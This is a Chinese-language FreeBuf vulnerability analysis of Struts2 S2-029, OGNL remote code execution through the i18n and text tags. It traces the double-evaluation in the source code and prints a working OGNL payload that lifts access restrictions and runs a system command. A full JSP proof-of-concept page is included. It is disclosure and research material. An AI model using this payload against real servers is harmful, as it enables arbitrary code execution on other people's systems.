S2-029 Struts2 标签远程代码执行分析(含POC)

2016-03-18 495843人围观 ,发现 24 个不明物体 漏洞

0×00  标签介绍

Struts2标签库提供了主题、模板支持,极大地简化了视图页面的编写,而且,struts2的主题、模板都提供了很好的扩展性。实现了更好的代码复用。 Struts2允许在页面中使用自定义组件,这完全能满足项目中页面显示复杂,多变的需求。

Struts2的标签库有一个巨大的改进之处,struts2标签库的标签不依赖于任何表现层技术,也就是说 strtus2提供了大部分标签,可以在各种表现技术中使用。包括最常用的jsp页面,也可以说 Velocity 和FreeMarker等模板技术中的使用。

0×01 漏洞分析

struts2的i18n,text标签的 name属性处理的时候会经过两次ognl执行,从而导致远程代码执行。

标签使用如下所示:

<s:i18nname="%{#request.lan}">xxxxx</s:i18n>

<s:textname="%{#request.lan}">xxxxx</s:text>

上面两个标签name属性都存在问题 下面对i18n标签做分析

跟踪i18n标签name 属性在代码中的处理:

org.apache.struts2.components.I18n

......

public boolean start(Writer writer) {

boolean result = super.start(writer);

try

{

String name = findString(this.name,"name", "Resource bundle name is required. Example: foo orfoo_en");//i18nname属性进行ognl执行并将结果赋值给name

ResourceBundle bundle = (ResourceBundle)findValue("getTexts('"+ name + "')");//对上面获取的name属性继续做ognl表达式执行

......

}

}

其中对findString方法进行跟踪,则可以跟踪到

com.opensymphony.xwork2.ognl.OgnlValueStack的protected Object findValue(Stringexpr, String field, String errorMsg) 方法,该方法是用来执行ognl表达式。

其中findValue方法进行跟踪,则可以跟踪到

com.opensymphony.xwork2.ognl.OgnlValueStack的public Object findValue(Stringexpr, boolean throwExceptionOnFailure) 方法,该方法也是用来执行ognl表达式。

测试流程:

假设设置request的lan 属性为:

'),request,#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('touch/tmp/dbapptest'),new java.lang.String('

其中运行的ognl表达式为%{request.lan}, 则第一次ognl表达式执行结果为:

'),request,#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('touch/tmp/dbapptest'),new java.lang.String('

执行完成之后name的值为:

'),request,#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('touch/tmp/dbapptest'),new java.lang.String('

然后将name值传入下面一行代码执行ognl, 其中ognl表达式为

getText(''),request,#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('touch/tmp/dbapptest'),new java.lang.String('')

从而导致命令执行在/tmp目录下生成dbapptest 文件

其中poc中需要设置#_memberAccess['allowPrivateAccess']=true 用来授权访问private方法,

#_memberAccess['allowStaticMethodAccess']=true 用来授权允许调用静态方法,

#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties']用来将受限的包名设置为空

#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties']用来将受限的类名设置为空

#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch/tmp/dbapptest’),new java.lang.String(”)执行系统命令

0×02 漏洞poc

<%@pageimport="java.util.HashSet"%>

<%@ pagecontentType="text/html;charset=UTF-8" language="java" %>

<%@ taglib prefix="s"uri="/struts-tags" %>

<html>

<head><title>Demo jsppage</title></head>

<body>

<%

request.setAttribute("lan", "'),#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('touch/tmp/fuckxxx'),new java.lang.String('");

%>

<s:i18nname="%{#request.lan}">xxxxx</s:i18n>

</body>

</html>

* 作者:安恒信息安全研究院(企业账号),转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

这些评论亮了

  • 八木和弦 回复
    业务线上还用s2的,上次像你这么屌的人,我已经给他烧过3次香了[微笑][微笑][微笑]
    )9( 亮了
  • dbtest 回复
    @ genxor  我最看不惯的就是你这种人,别人把poc共享出来了,你说把问题搞的复杂了,别人没共享之前怎么没见你说,不管你的poc简单也好复杂也罢,也没见你发出来让大家学习学习?既然你觉得复杂了,那就把你的简单的发出来,不要在这耍嘴炮。
    )9( 亮了
  • hwc 回复
    前排出售大量瓜子,水果,板凳,只要10元!!!看清楚了只要10元!
    )8( 亮了
  • 我不是喷子 回复
    我真的不是喷子,但是我还是忍不住想喷。你这tm除了本地可以装逼,请问放到get参数里可以吗
    )8( 亮了
  • fuckusa (1级) 回复
    话说可以写文件或者读%源码了,还要考虑这个漏洞吗?或者如楼上的,可以通过参数传递?????????
    )8( 亮了
发表评论

已有 24 条评论

取消
Loading...
css.php